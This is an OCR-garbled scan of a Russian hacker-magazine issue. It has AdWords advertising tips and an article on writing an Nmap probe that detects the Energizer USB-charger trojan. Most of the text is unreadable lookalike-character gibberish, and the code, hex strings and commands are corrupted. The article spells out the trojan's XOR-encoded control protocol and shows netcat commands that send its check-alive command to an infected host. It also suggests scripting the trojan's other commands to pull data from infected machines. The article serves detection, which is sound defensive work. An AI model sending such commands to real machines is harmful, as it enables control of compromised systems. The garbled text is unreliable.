O 4nOA6VlpaTb cnosa ,lJ,Jlrl 06M1BJleHVls:! Ha,lJ,O oc060 TLU,aTeJlbHO. nOMOYb 8 3TOM ,lJ,eJle Vl OLl,eHVlTb npe,lJ,CTOrlLU,V1e pacxonu nOMO>KeT CnelJ,VlaJlbHbli1 «I!1HcTpYMeHT no.aCKa3KVl KJlIOLJeBblX cnca». C nOMOUJ,blO AdWords Tbl MO>KeWb C03,n,aTb HeCKOJlbKO peKnaMHblX KaMnaHVl(1, B Ka>K,ll,oi1

Vl3 KOTOPblX 6Y)J,eT csoi1 cnVlCOK KJlIOLJeSblX cnos. He 3aHV1>Kai1 caM ce6e CTR MV1KcosaHVleM aar.oocos a6COJlfOTHO paann-n-oro CMbICJla, TaKVlX KaK, K npV1Mepy, «peMoHT cai1neHT6noKoB» Vl «noxynxa nruoureaux nrpyurek»

O 5 B aaronosxe 06bs:!BneHVlS1 ny-uue scero YKa3blBaTb TOT sanpoc, KOTOPbli1 Tbl cobnpaeun.cs nponenrars Google CYVlTaeT TaKV1e 06blisneHVls:! 60nee peneBaHTHblMVl. Vlcnonb3yi1 8 06M1SJleHV1Vl per eaaur-rs:e KJlfOyeSble cnosa. ua KOTopble pearVlPYIOT nOTeHlJ,VlanbHble nckynarena: «r.e.ueao». «fiecnnaruo», «6bICTpO». HY>KHO nOMHV1Tb VI 0 S03MO>KHDCTVl orobpaxan, peKnaMHble CCblnKVl

ronsxo S cny-rae T04HOro cosr aneHVl)1 nOI!1CKOBOro sanpoca C kruo-ieSblMVI CJlOBaMVI. ~nS1 otero ucnone- 3YlOT KBa,n,paTHble CK06KVI BOKPYi KnlOyeBblX enos: [npV1MepJ. KCTaTVl rOBOpSi, KnlOyeBble cnosa, KOTopble V1cnonb3YIOTCIi B 06bs:!sneHVlIl1, 6YAYT Sbl,IJ,eneHbl >KVlpHbIM WPVlCPTOM, 4TO npasne-rer ,1J.OnOnHVlTeJlbHOe SHVIMaHVle nonsaosarer eti.

O 6CTapai1Cs:! orroruo-yrs OT 06bS1BneHVli1 'rex. KTO He rOTOS COBepWVlTb norynI<.Y, a npoCTO npa3,1J,HO VlHTepecyeTC$=I. Xopouias Vl)J,eR - 0603HaYVlTb a peKnaMHOM 06H1BJleHV111l u,eHy

Ha TOBap, «oropas. ac-r epaux. OTSa,Ll,VlT nycrux «KJlIllKanbw,VII<.OB» OT 06blisneHV1S1, a BO-BTOPbIX, nOH~3~T cpeAHlO1O ~eHy aa npuene-reuuoro no cyr arena. He nyrai1cs:!, YTO CTR npn 3TOM cnerKa YMeHbWVlTCs:! - TaK Vl ,n,on>KHO 6blTb. 3aTo 4enOBeK, nepeWe,1J.WVli1 no 06bSiBneHV11O C YI<.a3aHHoi1 CTOVlMOCTblO, nOTeHLl,lIlanbHO MD>KeT n03S0JlV1Tb ce6e nckynvy.

O 7npVI C03,1J,aHVlVl KaMnaHV1V1 pa3YMHo ucnonsaoaan. MVlHYC-CJlOBa, YT06bl VlCKJlIOYVlTb ncxaau 06H1BneHVli1 npu He COBceM peneaauruux sar.pocax VI OTces:!Tb HeHY>KHbli1 TpacpVlK, TeM caMblM nOSblCVlS CTR. llanpvn-rep. ecnu Tbl peKnaMVlpyBljj b KOMnaHVlIO, KOTopas:! 3aHVlMaeTCS1 BOCCTaHOBJleHVleM ,ll,aHHbIX, TO Te6e Mano VlHTepeCHbl nfO,IJ,Vl, KOTOpble lIlUJ,yT codrr .aJlrl data recovery, n03TOMY B Ka4eCTse MVlHyc-cnoBa MO>KHO nccraaar-, «CKayaTb»

O B Heo6xo.£\VlMO npaeunsao Bbl6paTb uenesyo crpaHVlLJ,y, Ha KOTOpylO 6Y,lJ,eT ccunan.cs o6bS1SneHl;1e. YeM auure 6Y,ll,eT peneaa-rn-ocrs raoero 06bS1BneHVlrI C nOVlCKOSblM 3anpocoM nOJlb30BaTeJl$1 Vl TOi1 CTpaHVlLJ,ei1,

Ha KOTOPYK) OH nonane't, TeM Sblwe 6ygeT n03VllJ,Vls:! o6H18neHII1s:! S peKnaMHoM 6noKe. K TOMY >Ke, KJlVleHTY Ba>KHO OKa3aTbGl TaM, rne OH cpasy MO>KeT eocnor saoaan.ca ycnyroi1, a He 6ny>K,IJ,aTb no BHYTpeHHVlM CCbiJlKaM.

O 9,.D,JlR CT.aTVlCTVlKVI nepeXOAOB yepe3 Google Analytlcs )J,06asJls:!i1 S KOHeu, CCblJlKVl Ha lJ,eJleBYIO crpa-u-uy YHV1KanbHbli1 rer, KOTOPbl[;1 6y,n,eT npVlHa)J,ne>KaTb )J,aHHOMY 06bSiBneHV1IO, 3TO nOMO>KeT B ,n,anbHei1weM Jlerye auannsnpoears nonesr-se 06bSiBJleHVlS1 Vl Te, OT KOTOPblX Hy>KHO Vl36aSVlTbCS1.

1 0 Ha caCiTe AdWords c06paHO orpovuoe KOnVlyeCTBO MaTepVlanos no C03,[1aHVlIO Vl ynpaane.uuo pe«naMHblMVl KaMnaHV1}iMV1 c nOMOUJ,bfO AdWords. Oc06eHHo peKoMeHAyeM «pYI<OSOp,CTSO Ails:! Ha4V1HalOUJ,V1X») ,fl,nS1 roro 4T06bl ny-uue paaofiparscs. Kal<. MaKCV1MaJlbHO noeucnrs 3cpcpeKTVlBHOCTb Vl npVl 3TOM cOI<.paTV1Tb pacxonu. TaK >Ke nna xenaiouiax Y3HaTb 60JlbWe 0 TOM, KaK paboraer AdWords cyuiecrayer 6nor AdWords, Youtube KaHan [ o6pa30BaTeIlbHblMiI1 enr.eo. oHna[;1H urxona AdWords W TenecjloHHa" nOAAep!KKa: +7 495 780 0022.

PEI(nAMA

• CTenaH«Slep»~Jlb~IH steprrlglc.ru

KaK npOKaLtaTb Nmap?

PeanH3yeM COfiCTSeHHble npOSepKH S H3SeCTHOM cxaaepe fie30naCHOCTH

llpencrasnan, Nmap lIHTarentO ][ CpO,QHH TOMY. LITO 06bHCHHTb cflH3HKY-H,QeplUHKY. LITO rasne 3apH)f{eHHaH sacraua, Nmap 3HalOT ace, H cxupee acern ,Qa)f{e XOTH 6bl pa30K HM nonb30BanHCb. Ho BOT napanoxc: TY H3YMHTenbHYIO no paCWHpeHHIO apXHTeKTYPY. n03BonHIOlUYIO 3aTOllHTb CKaHep no,Q ce6H. ece ynopHo 06XO,QHT CTOpOHOM. ~ COBepweHHO aanpacae.

E cnVl Tbl cnennurs aa o6HOSneHVltlMVI nere-uiapaor o cxa+repa, <oropue. «craru roacps. S nocnern+ee BpeMs::l BblXOgtlT oco6eHHO yaCTO, TO gomKeH 6bln 06paTVlTb SHVlMaHVle Ha ABe ~"<PPbl, <oropue <P"cyp"pym B Ka)KAOf1 3an"c" changelog'a. [lepaaa osua-raer KOnVlyeCTBO 06HOBneHHbiX CVlrHaTYP AnR onpeneneuua cepancos VI OnepaLJ,VlOHHbIX CVlCTeM. A

sTopaR - KOJlVlyeCTBO HOSblX NSE-CKpll1nTOS gJlR peaJl1l13aLJ,VlVl 60nee TOHKIiIX nposepoK 1I1 VlHTenneKTyanbHoro CKaHlI1pOSaHlI1R. 06blYHO TaKllle CKpl--1nTbl pa3pa6aTblsafOTc51 AJlR KaKOIl1- H1I16YAb cepbe3H0ll1 Ys::l3SVlMOCTlI1 1I1 VlCnOJlb3YfOT yaCTlI1 OKa3aBWI!1XCR B na6m1Ke CnJlOIl1Tos. Ho TO, YTO OKa3anOCb y scex - 3TO Y>Ke He TaK "HTepeCHO Ilpyroe Ae"O - cAemTb 4TO-TO

AJII'I ce6~. CKCl>KeM, 3Hd~ 0 TOM, KdK YCTpoeH KaKOII1-TO CSeIKVlII1 TPORH, )J,06aSVlTb 8 ckauep

~ 026

onpeneneuuue npoaepxa VI TaKVlM o6pa30M, 6blCTPO npo-recas cers, nopyrars cpasy MHO>KeCTBO MaWVlH. KaK Te6e?

FINGERPRINTING CBO~M PYKAM~

KOHeYHo, MO>KHO HanVlcaTb C Hym-l nporpat-wycxauep, KOTopaR 6YAeT ornpasns rs HeKlI1Vt aariooc, naocurs pesynsrar VI, B KOHeYHOM CyeTe, B03MO>KHO, geTeKTVlposaTb aapaxeuHbfB MaWVlHbl. V1 peanusosars HeKOe nOAo6V1e MHOIQnOT04HOCTVl TO>Ke HeCnO>KHO. Ho paase Bce 3TO MOIKeT cpaSHVlTbCR C TeMVI MexaHVl3- MaMlI1, KOTopble CTOJlbKO speMeHVI orra-rwaanuci, S Nmap? 51 TaK He )J,YMafO. O,lJ,Ha 1113 «mc-reeux oc06eHHOCTeVt ckat+epa - WlI1pOKVle B03MO>KHOCH1 fingerprinting'a, TO ecrs KaK

paa onpeneneuvs sepclI1Vl DC 1I1 pabcraou.ax CepBlI1COB no TaK Ha3blsaeMbiM OTneyaTKaM nansuea [B T~pMlI1HaX Nmap OHV1 Ha3blsafOTCR

probe]. CepB"COM MO>KeT 6blTb 06b14Hblf1 WWWf:\eMOH, a MO)KeT - TPOVt. npVl 3TOM a6COJllOTHO Heo6513aTeJlbHO MltlPVlTbCR C Tot;; 6a301l1, KOTopaR no "yMon4aHVlIO nOCTaSns::leTC$1 co cka-repow. nOCMOTpWM, KaK MO>KHO 06HOBlI1Tb ee caMoMY

B «a-recrae npV1Mepa B03bMeM rpcs-r. KOTOPblVi pacnpocrpaaancs B Espone C COCPTOM gns:! sapsf:\OK cr KOMnaHIIIlI1 Energizer [Mbl pacckaaanx 0 HeM B Meganews npownoro HOMepal. Ha ocj)VILl,VlanbHOM cajrre nporpa-n-ia Y>Ke 06HosneHa, HO 3apa>KeHHblVt eapnaur nc-npexue-ry nocryneu

B CHVlMKax caViToB, coxpaueu+ux apxnaaropov n+rrep-rera Wayback Machine (web.archive.

Q[Q.J. 3aHlI1MaTbC>=I rny60KltlM peSepClI1HrDM Mbl

He 6y..o.eM. XOTs::l paCK08blPs:lTb TpOVI ..o.OCTaTOY-

HO npOCTO [aSTOp He CVlnbHO 3aMopa4V1BanCs:I, 4T06bl XOTb KaK-TO 3aKpll1nTOBaTb Mansapbl. :310 Y>Ke cnenaru- sa Hac. Ha C3VtTC www.symantec. com/co n necliblogs/troja n - fou nd-usb balLery-

XAKEP 06 /137/ 10

charger-software npVlBe,Ll,eHO nO,Ll,p06HOe

or ucanne aupyca. 1Il3 xcropcro HaM n-rre oecuu HeCKOnbKO cpaKTOS

• TPO"H cnyuiaer 7777 r opr:

• mo6ble ,Ll,aHHble, xoropue rpca-r nplllHIllMaeT Ha 3TOT nopr, XOR-"TC" co 3Ha4eH"eM OxE5 nepen TeM, KaK ofipafiarusarorcs nanee:

• KOMaHAbl laanyc« npouecca, YAaneH"e cpaVina, BbinOnHeHIIl)=l KOM3HAbi III T.A.] nepeAaIOTC" B B"Ae CLSID (YH~KanbHbl" "AeHT~cp"KaTOp B"Aa {XXXXXXXX-XXXX-XXXX-XXXXXXXXXXXXXXXX} I:

• nepeA KOMaH,Ll,oVi nepenaiorca 4 ynpaansuoLl\IIlX 6ai1Ta, 8 KOTOPblX YKa3blBaeTCR Anl.1Ha ynpasnS1lOw,ero C006lJJ,eHIIl)=l.

OAHa "3 TaK~X KOMaHA -'{E2AC50S9-3S20- 43fe-SA4D-A7028FADSC2S}" _ npcsepaer. aKT"BeH TpORH B Cl:1CTeMe VlnVl HeT. Ecm1 anpyc npuHIllMaeT Vl nOHVlMaeT ee, TO S OTseT OH crnpasnser TeKCT «YES», KOTOPbl~ TaK >Ke, KaK Vl caMa KOMaH,Ll,a, XOR'VlTGI CVlM80JlOM OxE5. nOXo>Ke, 3TO KaK pas TO, 4TO nouoxer HaM BblRBtIITb HaJll.'14I1le

B HOBOH BepCIH1 Nmap AalKe He HaAO Ao6aBnslTb Hawy npo6y - orne-tarox AIlSl 1t3Y'leHHOrO TPOSlHa TaM YlKe ecrst

rpcs-ra Ha y.o,aneHHoi1 CVlCTeMe. lilTaK, Mbl 3HaeM, YTO ornpasnars [KOMaHAY An)=! npoeepkn aKTt.1BHOCT~1. KYAa ornpaenar s lnopr 7777) ~ 4TO ncnxHbl ncny-urn, [«YES»]; OCTaflOCb peantll30BaTb nposepxy.

BeE OK? YES!

,lJ,nR Hayana nonpo6yeM oripaa-rr s na cer C

PeBepCItHr TpOSlHa OT KOMnaHlt1t Symantec

Any data that Trojan Arugizer receives on this port is XOR'd INith the value OxE5 before it is processed further The threat continuously listens for commands. Commands are sent to the threat in the rorrn of CLSIDs. The threat waits for any of the fOllowing CLSIDs to be sent:

{E2AC5089-3820-43Ie-8A4D-A7028FAD8C28) {F6C43E lA-1551-4000-A483-C361969AEC41) {EA7 A2EB7 -1 E49-4d51-84D8-DG64587440E3} {7S3EACBF-EFSB-49Se-A059-FOB5BD12641 E) {017 4D2FC-7C66-4a22-37C7 -76B72A32F19F} {98D958FC-D0A2-4fl c -B341-232AB357E7C3) {4F4FOD88-E715-4bl I-B311-61 E530C2C8FC} {384EBE2C-F9EA-4IGb-94E F -C9D2DA58FD 13} {8AFl C164-EBDG-4b2b-BCl F-6467 4E98A71 0)

Some of these CLSIDslcommands take further parameters that must be sent after the CLSID. Each comrnurncauon sequence consists of a 4 bytes size value, then the command, then (optionally) the size of the parameters and the actual parameters

The first command checked lor is {E2AC5089-3820-43Ie-8A4D-A7028FAD8C28). This command checks that everything is 01< with the Trojan" If the command is received and executed correctly by the Trojan. the text "Yes" is sent back to the attacker. TIle responses sent by the Trojan are also XOR'd with OxE5.

foroaue fil<1fim10TeKVI NSE

LJTo6bl cnenars nporpaMMVlpoBaHVle cKpVlnToB i-a Lua ew,e bcnee 3cpcpeKH1BHbIM, B Nmap BCTpOe}10 MHoro ,D,onOnHItITenbHblx 6Vl6nVloTeK, CneLJ,VlanbHO 3aT04eHHbiX nOA BblnOnHeHVle paann-ruux ceTeBDIX npoaepo«. Bce OHltI Haxogsncs:l B nanxe %nmap%/nselib. LJTo6bl Tbl He V1306peTan senocnne.a npli1AYMbIBaR, HanpVlMep, Kaf( BblnOnH!t1Tb 3anpoc K DNS. npuaoxy cnucox Hal-16onee 48CTO Vlcnoflb3yeMbix 6l!16nllloTeK:

backdcor - npocrecnuas peafltll3aLJ,!i1fi 63KAopa 8 CIIICT€Me;

bin - pa60TB C ,D,BOVl4HbIMVl ,lJ,aHHbIMII1;

datafiles _ 6"6n"OTeKa An" paboru co BCTpoeHHbIM" cpa"na Nmap IHanp~Mep. nmapprotocols - onVlcaHVleM Vl HOMepaMt.1 nopro a pasnu-u+ux nocroeonosl.

default - HaV160nee l1aCTO Vlcnonb3yeMbie cere aete Cl..\eHapt.1t.1;

dns _ pafiora cONS;

http _ paSo ra c HTTP;

msrpc _ 6"6n"OTeKa An" pa60Tbl C BbI30BaM" MSRPC; mysql _ HeKoTopble onepauuu c MySQL;

netbios _ pafiora c NetBIOS-Tpacp"KOM;

nmap - B3aVlMO,D.eiIJeTBVle c ~APOM cka+tepa:

packer - MaHlIlnyn!.1pOSaHlt1e C naKeTaM!.1 B RAW-slt1,D,e; proxy _ pafiora c npokcst:

shortport - psfiora c nopTaMIIl;

smb - pabora C 5MB-npoToKonoM;

sss 1 /ssh2 _ pabora c SSH

Jlf06ble 6Vl6flVloTeKVl nO,.D,Kflf04afOTCR C nOMow,bfO KOMaH,D.bl require.

XAKEP 06 /137/ 10

-;5[ .. ] [Jdn.-<an<IomoStt:p<>rt nse~ht'p~.......,.,." Me

~:~e !B::=~~d ;:8::~~::;~i>"'h.Y~n!We

Ciafp1'alh"''''n n .... Cjdoa .......... lce-di$Olve(y of;flClJmap-<:apabllltles

8:~~="···-·"···-·-~B:n:o~ramfer =8:~::

[jaulh-ilwner.l nseCJl!p-anon meDJdwp-ven!oo

D~ulh-..pool nseDflp-bounce nseC)ldzlp-bruie

[:jbanoer nse[')flp-brule n ... C!Jdap-rootd ....

[jdtrtx-brute-xmi Me[3lltmH~le nseDldap-...ch

[jdlrix-enum-apps nse[jhttp·auth nseClr=nark..,.,nftll

[Jc;trtx-enum-app$-xmI n DhUp-dllle nseDmongodb-dlllabll"""

Clcitrix-enum~ef!; n Dhltp ..... um nseClmonQOdb~n!o

[jdtrl:l-<:f1um .......... """.xm!nse[Jhttp-favICOfl otleOms1QHnlo

[JC:Ouchdb-database~ nseClhttP-l">elldefS nseDmysqt-brute

[jc:ouchdbllats nseDhttp~ts ... ebdav ... uln nse!)mpql-<latiJba""s n ...

[Jdzlap.geHb""Y nscOhttP-roalware-hool nseDmY$QI~ty1>llS"word me

Cida)'lrme n ... [jhttp1fJelhods nseClm1"'11~nlo

[jdb2-das':;n!o nseL:Jhttp-open1>ftlxy """tlml"lQl-.....,.,."

[Jdb2~nfo nse[jhttp1>lIsswd """C)ffiY$<ll.varlahl=

[jdhq>-di:ocover nseDhltp~race nse[jnbslat

CTaHAapTHblH NSE-CKpltnTbl Nmap

KOMaH,.D,oi1 Ha nopr 7777 BPYYHYfO. ,lJ,nl1 3TOro HaM nOHa,Ll,06V1TCR yrnn.rra netcat [c www. securityfocLls.com/tools(l3 MO>KHO CKa4aTb

ee nopTVlposaHHyfO BepC1Il1O nor; Windowsl. nOCKOJ1bKY rpos« O)KIIlp,aeT AaHHbie B 3aKpVlnTOBaHHOM C nououruo XOR'a BIIl,Ll,e, TO nplll,Ll,eTC~ 8blnonHVlTb raxce Wt.1¢pOBaHVle. Hanuurev An~ store npenensi o npocryio YTV1mny ua CIIl, XOTSi TO >Ke caMoe aa Ml-1HyTy MO)KHO CAenaTb VI Hd Jl1060M npyrov Si3blKe

~lnclude <stdio.h>

int main{int argc, char *argv[])

il1t Ci

while ( (e = getehar()) f = EOF) printf("%c", c A OxES); return Oi

Bce npocTo: rynsa 4VlTaeT CVlMBOllbl Vl3 CTaHnapruoro nOTOKa BbIBop,a, nanee p,nSi Ka>K,Il,OrO CVlMBOlla ocyuiecrer ser or epaua:o "XOR OxE5" VI pe3ynbTaT, TO ecrs 3aKpl:1nTOSaHHbli1 TeKCT, ornpaanaer B nOTOK auaona:

$ gee -0 test test.c

s echo "this is a test" ./test
hexdump -c
00000000 91 8d 8e 96 e5 8e
96 c5 84 c5 91 80 96 91 ef
I • .. . A .. A.A. ... .i. I Bee xopouro. xpoi-re op,Horo MOMeHTa - B KOHl..\e y Hac uapucoaancn nIllWHWL1 CVlMBOfl ~ OxEF, KOTOPblVi 03HayaeT nepeBoA CTPOKtII. C ,.D,pyrot:1 CTOPOHbl, He XBaTaeT TepMVlHanbHoro CVlMBO-

na 3asepweHVlS1 CTpOKVl. n03TOMY 3anYCKaeM KOMaH,Ll,y echo C KnlOYOM "<n", ~To6bl 1Il36aBVlTbCR OT nepeaoz;a CTpO KtII , Vl KnlOYOM "<e", ~T06bl ra pacnoauana escape-Ct.1MBOJl "\xOO', KOTOPblM Mbl ,Ll,06aBVlM B KOHl..\e coob.ueuns:

$ echo -ne "this is a test\xOO" ./test I he.xdump -C

00000000 91 8d 8e 96 e5 8e 96 c5 84 e5 91 80 96 91 e5

.... A .. A.A .... a l

BOT rer eps ace npasunuao. Ocranoci, r onCTaB~Tb Hawy KOMaHAY "{E2AC5089-3820-43fe- 8A4D-A7028FAD8C28)". YKa3aB nepen He" ee pa3Mep [38 CVlMBOllOB CaMO[/[ KOMaH,1],bl + 1 Tep-

~ 027

Ii){ c:\Work\Xakep\rpdlistfua - Ncteped+»

j 0 ~ 1m !Ii -. liO @ I .it Ib il'i I ., C! I ilIl '" I ~ ,,1C'j EilI~ 11 ~I<!ll ~ ~ 00 @ Iii I » ilrpdnst~u~

fiescriPCiO!l [[ RDP Serve:::s se acnt.ccj, ] I

ac cncc- = -x G~o'-'P"

ce ceqcca e s = {"di3co -r e::::y"}

require "sr.o;::tporc"

po::;-crule = enoccccc c . poz c _ 0::: _ eexvz.ce (3389, "res c c erm-ee rv ")

-

10 l·CCi;~~~~~m~::;~~~:~~::;=dP.m", "a-")

1: f~le: close ()

:'2 end

UNIX

ANSI

351 chars 362 bytes lZlines Ln : 1 Col: 1 Sel: 0 (0 bytes) in 0 ranges

Haw cLleHapl1ii1 Ha NSE

MV1HaJlbHblV! CV1MBOJl = 39 6a~T, 4TO S WeCTHa,lJ,u,aTepw4HoM npe,1J,CTaSneHwV1 naer 27)·

echo -ne "\x27\xOO\xOO\xOO (E2!"C5089-3820- 43 fe-8MD-A7 028F.I\D8C2 8) \xO 0"

no VI,1J,ee, 3TOT naxer ,lJ,OJl>KeH Bbl3saTb OlBeT rpoaua. ,LJJHi sroro orcunae« BbIBO,lJ, KOMaH,lJ, C nOMOLl\bfO netcat'a Ha 7777 nopr 3apa>KeHHOili M3WV1Hbl:

~ info VlHCPOPMal1"" npencraar eua V1C-

KnlO""TenbHOAn" $ echo -ne "\x27\xOO\xOO\xOO{E2ACS089-3820-

03HaKOMneH"". 43fe-8A4D-A7028FAD8C28)\xOO" 1

V1cnOJlb30BaHVle ee ./test I # mvrq,pyeM KOMaH)J;Y

B npOTV1B03aKOHHbIX neat 192.168.1.123 7777 I # OTnpaSJUIeM ee

u,eJl51 X MO>KeT noane-u, ./test # rrorryvaen peayrrs-r-e-r

3a c0600 yronoe--oe OTBeT:

npeCJle,1J,OBaHVle. YES

ABTOP" peAaKl1""

He HeeYTHV1KaKOiIi Ila! TpOI1 paarceapnsaer e HaMVI Vl rosopnr «YES» - 3Ha-

OTBeTCTBeHHOCTVl3a YVlT, Bee pa60TaeTI KaK BVI,lJ,V1Wb, fingerprinting Y,lJ,aneHHblx

VlCTOJlKOBaHl-le,1J,aHHOili cepaacce - 3TO gaJleKO He acerna 04eHb CJlO>KHO

CTaTbVl KaK PYKOBO,lJ,CT-

sa K npOTVlB03aKOHHblM ,lJ,eiliCTBl-l51M.

C03J1AEM PROBE JlJ1H NMAP

Tenepb caMoe BpeM51 nepeYlTVI K TOMY, pa,1J,f.1 -iero Mbl see

3TO l-l 3aTeSaJ1l-l, a VlMeHHO - C03,lJ,aHVlI{l crteruca AJl5=! 6a3bl Nmap'a. nepBoe, 4TO HaM nOHa,[l,06VlTCR - 3TO HaYlTVI cpaYlJl nmap-service-probes. 06blYHO OH pacnonaraercs B C:\ program flies\nmap lIusrlshare/nmap 'In" lusr/local/sharel nmap S CJlY4ae C HWKCaMltd. 3TO CaMblYi 06bl4HblYi TeKCTOBblili KOHqmr, S KOTOPOM nOCne,lJ,OBaTeJlbHO nepe4wcneHbi ace probeu B CneLl,VlaJlbHOM cpopMaTe. EcnVl BblnonHV1Tb nocnenHI{lIO KOMaHAY, HO He OTnpaBmlTb ee B netcat, TO Ha 3KpaHe

Ha ,1J,VlCKeTbl HaYl,1J,eWb n0I1BVlTC51 3aWVlCpposaHHa51 KOMaH,1J,a, KOTOpyfO VI Hy>KHO

nOCne,D,HfOfO BepcV1fO SCT3BVlTb B OTneyaTOK:

Nmap, a TaK>Ke ace

pa3pa60TaHHbl~ HaMVI » Ham crrenox nna orrpenenemer Energizer

cKpwnTbl V1 probesr. trojan

Probe TCP Energizer q l \xC2\xE5\xE5\xE5\x9E\ ~~O\xD7\xA4\xA6\xDO\xDS\xDD\xDC\xC8\xD6\xDD\ xD7\xDS\xC8\xDl\xD6\x83\x80\xC8\xDD\xA4\xDl\ xAl \xe8 \xM \xD2 \xDS \xD7 \xDD\xA3 \xA4 \xAl \xDD\ xA6\xD7\xDD\x98\xESI

rarity 8

ports 7777

match ene.r q i z e r m l A\xbc\xaO\xb6$1 pi Energizer baekdoorl o/Windows/ i/**BACKDOOR**1

~ 028

INI

Zenmap n03BOJUIeT C03AaTb npocpaiiln AJUI CKaHllpOBaH"Sl, 'ITo6bl COXpaHI1Tb HaCTpoiilKI1 CKaHllpOBaHI1Sl

BOT VI sce: fingerprinting 6a3a obsaaenacs HOBblM cr enKOM. 0603Ha4eH~1e HOBOro 3JleMeHTa fingerprinting-6a3bl Ha4V1HaeTC51 C Knf04eBoro cnosa Probe, noc.tenoaareneHOCTb 6aYlTOB o6oco6n51eTc51 "ql" B Hayane VI CVlMBOJlOM "I"

B KOHLl,e_ napaMeTP rarity YK33blBaeT Bepo51THoCTb cpabaruBaHVl51 npcaep c.i. Ports 3a,1J,aeT ncpru, Ha koropue ornpasJlS1eTCI1 npoaepsuouiaa nOCJle,1J,OS3TenbHOCTb. C novouusio KOMaH,D,bl match VI perynRpHoro Bblpa>KeHW51 B Perl-crune onpenennercs OTyeT cepaepa, ua KOTOPbl~ ,D,OJl>KeH pearltlposers Nmap_ B peaynsrare Nmap 6YAeT orcunars naKET Ha nopr 7777 aHanOiW4HO TOMY, 4TO Mbi TOJlbKO 4TO C,Il,eJlanVl C nonou.e.o Netcat'a. Ecn.i B OTseT np.uier 3aKO,lJ,fI1pOBaHHoe CJlOBO «YES», TO cxauep onoenerurr npVlCYTCTBVle Tp051 B CVlCTeMe. npOSepfl1M 3TO B Ae~CTSVlW:

$ nmap -sV -p7777 192.168.1.2

Starting Nmap 5.30BETAl ( http://nmap org ) Nmap scan report for 192.168.1.2

Host is up (0.000248 latency).

PORT STATE SERVICE VERSION

7777/tep open .energlzer Energizer backdoor (**BACKDOOR**)

Service Info: os: Windows

TaKl.1M o6pa30M, norparvs COBceM HeMHoro SpeMeHfI1, Mbl HayLfVlJlVl Nmap Haxo,.o.VlTb 3apa>KeHHble MaWVlHbl B ce r.i. Ba>KHO, YTO rakas npOBepKa HltlKaK He BbI6V1BaeTCs:! lt13 nplt1Bbl4HOro obpasa VlcnOJlb30SaHVl51 Nmap. ,LJ,ns:! CI<aHVlpyeMblx XOCTOS 6ygeT BbInOJlHs:JTbCs:! ew,e O,lJ,Ha nposepxa, SOT !II see. T bl nc-npexae-iy CMO>KeWb ucnonsaaears ace oc=ansuue B03MO>KHOCTVI Nmap, B TOM -urcne ltl aSTOMaTltl3ltlpOSaHHbie ckpnr ru.

NSE - ~TO 3TO?

Cron. 4TO ew,e aa aBTOMaTW3wpOBaHHbie cxpvrrru? 51 IOBOpro 0 CKp"nTOBOM ABW>KKe Nmap Scripting Engine (NSEI. KOTOPblV! n051BVlJlC51 ew,e B 4.21 SepCWltl cKaHepa, npltl4eM pa3pa6oT4V1KIIf KopnenVl Ha,1J, HVlM ficnee 6 Mecs:!u,es. no CYTVI, B Nmap ceV!4ac 60JlbWe 06HOSJll1eTC51 He cano 51,lJ,pO CKaHepa, a KonVl4eCTBO nO,lJ,,D,ep>KfI1SaeMbIX NSE-cu,eHapVles. Hanp"Mep, B nocneAHefi AOCTynHofi 5eTe (5.30BETA 11 nonBVlJlltlCb 37 HOSblX ckpn rros. cu,eHapltlill http-vmware-pathvuln, n03Bons:!fOll1V1i1i ySO,1J,VlTb rocreeue MaWV1Hbl Vl3 YS13BltlMblX npoAYKTOB VMware; mysql-empty-password, KOTOPblii nsrraerca HaWTfI1 6a3bl C nYCTblMW napOJlI1MV1 AJl51 a,D,MV1Ha V1 aHOHltlMHOrO nOJlb30SaTeJl51, VI T.,lJ,. Bcero raewx cKpwnToB B Nmap 117, HO 3TO TOJlbKO B ny6nVl4HoM AOCTyne. Ha caMOM

XAKEP 06 /137/ 10

nene 3TO OTflVl4Hbl~ MeXaHVl3M Ha CJlY4a~, KOf,Qa K MOW,-

HblM B03MO>KHOCn:IM CKaHVlpOBaHVlI1 Heo6xo,QVlMO ,Q06aBVlTb 60flbWe VlHTeflfleKTyaflbHoCTVI VlflVl VlHTepal<TVlBHoe o5w,eHVle C Y,Qa1!eHHbIM cepSVlCOM. B HaweM npVlMepe, C03,QaSal1 npaBViflO ,QJH1 nOVlCKa XOCTOB C TPOs=!HOM Energizer, Mbl CMOfflVl o6oihVlCb OTnpasKo~ CTaTWleCKOfO aanccca VI o6pa6oTKo~ OTseTa. C ,QPYfO~ CTOPOHbl, MO>KHO 6bLno paaofipar sca co BceMVI OCTaflbHblMVI KOMaH,QaMVI rpos VI, HanVicas HeCJlO>KHblV! ckpnrrr, BblnOIlHVlTb nccnenoaarensaocrs KOMaH,D" 4T06bl SbITa~VlTb nOJle3HYfO VlHCPOPMaWVlfO C 3apa>KeHHblX CWCTeM. Kopo-ie roaops. NSE n0380Ils=!eT He TOflbKO VlCnOJlb30SaTb BCfO MO~b Nmap, HO VI aBTOMaTVl3V1pOBaTb MHOfwe ,Qei1CTBVlS1 )],JlS1 HanVlCaH\I1s=! CKpVlnTOS ucnonsayerca s=!3b1K nporpauvuposaHVlS1 Lua (www.lua.ru). KOHel..jHO, 6blJlO 6bl B,QBof;1He 3,D,OpOBO, ecnn 6bl 8 OCHOBe NSE 6blJl Python [KOTOpblili K TOMY >Ke ucnonsscsancs ,D,fls:! C03,D,aHJ.1s:1 OT,D,eJlbHbIX Y3CTeW cxauepal,

HO Tyr, KaK roSOPVlTCs:!, pa3pa6oTLJVlKaM BVl,D,Hee. C ,D,pyro(ii CTOPOHbl, ,D,lls:! Lua, KaK VI ,D,Ils:! Python, ecrs MHOro 6V16JlIllOTeK AIl51 B3aVlMo.oreikTBVls:1 c pa3flVlYHblMVI ceTeBblMVI cepBlIIcaMVl VI npoTOKOJlaMVI [nO,D,p06Hee BO Bpe3Kel; OHIIl \I1,QYT SMeCTe c Nmap

nl1WEM CKPl1nT lI1lll NMAP

)],Jls:! C03,D,aHVlS1 NSE-cLI,eHapVles ncnonssyercs yeTKIIl~ Jt1 OLJeHb npocrca CVlHTaKCVlC. B o6~eM BVlAe crpykryaa n-oboro ckpunra COCTOVIT Jt13 HeCKOJlbKWX 3JleMeHTDS.

description - OITMCaHMe c~eHapMR; categories _ ero rrpMHa~rrelliHOCTb K KaTero-

pli15IM;

author _ aBTOp CKpMTITa;

license _ OTIMCaHM2 ITM~eH3MMi

dependencies - YKa3aHl1e 3aBMcMMocTe:ti; port/host rules - rrpaBMna B~monHeHM~ CKPMil'r-a ,

